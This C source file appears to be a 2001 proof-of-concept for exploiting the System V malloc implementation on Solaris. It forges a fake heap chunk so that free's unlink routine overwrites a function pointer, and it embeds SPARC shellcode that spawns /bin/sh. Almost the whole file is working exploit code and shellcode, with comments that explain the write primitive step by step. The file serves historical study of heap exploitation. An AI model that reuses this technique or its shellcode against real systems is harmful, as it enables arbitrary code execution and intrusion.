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/* System V malloc implementation exploitation in buffer overflows
*
* 2001/05/06
* -sc/teso
*
* tested on sol 2.7/2.8
* shellcode seems to segfault sometime, but anyway, the malloc overwrite
* works yay!
*/
#include <stdio.h>
#include <stdlib.h>
#include "mallint.h"
typedef void (* func_ptr)(void);
void
hexdump (unsigned char *data, unsigned int amount);
int
main (int argc, char *argv[])
{
TREE * fake;
TREE * memchunk;
unsigned char * mem;
func_ptr func_hook = NULL;
void * retloc;
void * retaddr;
unsigned char shellcode[] = /* dopesquad.net shellcode + 8 nop bytes */
"\x10\x80\x00\x03" /* b foolabel */
"\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
/* OVERWRITE */ "\x82\x10\x20\x17" /* mov 23, %g1 */
/* foolabel: */ "\x82\x10\x20\x17" /* mov 23, %g1 */
"\x91\xd0\x20\x08" /* ta 0x8 */
"\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */
"\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */
"\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */
"\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */
"\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */
"\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */
"\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */
"\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */
"\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */
"\x82\x10\x20\x3b" /* mov 59, %g1 */
"\x91\xd0\x20\x08" /* ta 0x8 */
"\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
"\x82\x10\x20\x01" /* mov 1, %g1 */
"\x91\xd0\x20\x08"; /* ta 0x8 */
printf ("shellcode: %02x %02x %02x %02x %02x %02x %02x %02x\n",
shellcode[0], shellcode[1], shellcode[2], shellcode[3],
shellcode[4], shellcode[5], shellcode[6], shellcode[7]);
printf (" %02x %02x %02x %02x %02x %02x %02x %02x\n",
shellcode[8], shellcode[9], shellcode[10], shellcode[11],
shellcode[12], shellcode[13], shellcode[14], shellcode[15]);
retloc = &func_hook;
retaddr = shellcode;
/* get memory chunk which will be overflowed
*/
mem = malloc (64);
memchunk = BLOCK(mem);
printf (" mem = 0x%08lx\n", (unsigned long int) mem);
printf ("memchunk = 0x%08lx\n", (unsigned long int) memchunk);
/* the overflowed chunk must not be the last, the special 'Bottom'
* chunk. in that case it would not be merged with the fake chunk
* behind, because realfree would think it is the last chunk anyway.
* so we ensure there is a malloc chunk behind the overflowed one
*/
(void) malloc(2903);
/* our basic idea is to create a fake non-tree node after the real
* chunk, which will later be coalescated with the real chunk. while
* this is done, the fake chunk is removed from a chained tree, which
* we set up to overwrite arbitrary addresses
*
* take care of NUL'ing out the lower two bits if using the macros
*/
#define RNEXT(b) ((TREE *)(((char *)(b)) + (SIZE(b) & ~BITS01) + WORDSIZE))
fake = RNEXT(BLOCK(mem));
printf (" fake = 0x%08lx\n", (unsigned long int) fake);
/* conditions to be met:
* 1. BIT0(fake) = 0 (it is unused)
* 2. ->t_l == -1 (NOTREE)
*/
memset (fake, 'A', sizeof (TREE));
SIZE(fake) = 0xfffffff0;
CLRBIT0(SIZE(fake));
SETNOTREE(fake);
/* t1 = fake->t_p
* t2 = fake->t_n
* t2->t_p = t1
* t1->t_n = t2
* (in t_delete)
*
* effectivly:
* fake->t_n->t_p = fake->t_p
* fake->t_p->t_n = fake->t_n
* raw:
* [t_n + (1 * sizeof (WORD))] = t_p
* [t_p + (4 * sizeof (WORD))] = t_n
*
* so: t_p = retloc - 4 * sizeof (WORD)
* t_n = retaddr
*
* and retaddr[8-11] will be overwritten with t_p
*/
PARENT(fake) = retloc - 4 * sizeof (WORD);
LINKFOR(fake) = retaddr;
/* we call free, but our chunk is just added to a "to-be-freed"
* list. the real free process is done by the realfree function,
* which is called on two conditions:
* 1. a malloc() is called
* 2. more than FREESIZE free() calls (the list would overflow)
*/
printf ("overflowed with:\n");
hexdump ((unsigned char *) fake, sizeof (TREE));
printf ("freeing chunk1 (mem) = 0x%08lx\n",
(unsigned long int) mem);
free (mem);
printf ("reallocating a larger chunk (causes realfree)\n");
mem = malloc (256);
printf ("survived, hopefully succeeded\n");
printf ("shellcode: %02x %02x %02x %02x %02x %02x %02x %02x\n",
shellcode[0], shellcode[1], shellcode[2], shellcode[3],
shellcode[4], shellcode[5], shellcode[6], shellcode[7]);
printf (" %02x %02x %02x %02x %02x %02x %02x %02x\n",
shellcode[8], shellcode[9], shellcode[10], shellcode[11],
shellcode[12], shellcode[13], shellcode[14], shellcode[15]);
printf ("func_hook = 0x%08lx\n", (unsigned long int) func_hook);
if (func_hook != NULL)
func_hook ();
return (0);
}
void
hexdump (unsigned char *data, unsigned int amount)
{
unsigned int dp, p; /* data pointer */
const char trans[] =
"................................ !\"#$%&'()*+,-./0123456789"
":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
"nopqrstuvwxyz{|}~...................................."
"....................................................."
"........................................";
for (dp = 1; dp <= amount; dp++) {
fprintf (stdout, "%02x ", data[dp-1]);
if ((dp % 8) == 0)
fprintf (stdout, " ");
if ((dp % 16) == 0) {
fprintf (stdout, "| ");
p = dp;
for (dp -= 16; dp < p; dp++)
fprintf (stdout, "%c", trans[data[dp]]);
fflush (stdout);
fprintf (stdout, "\n");
}
fflush (stdout);
}
if ((amount % 16) != 0) {
p = dp = 16 - (amount % 16);
for (dp = p; dp > 0; dp--) {
fprintf (stdout, " ");
if (((dp % 8) == 0) && (p != 8))
fprintf (stdout, " ");
fflush (stdout);
}
fprintf (stdout, " | ");
for (dp = (amount - (16 - p)); dp < amount; dp++)
fprintf (stdout, "%c", trans[data[dp]]);
fflush (stdout);
}
fprintf (stdout, "\n");
}
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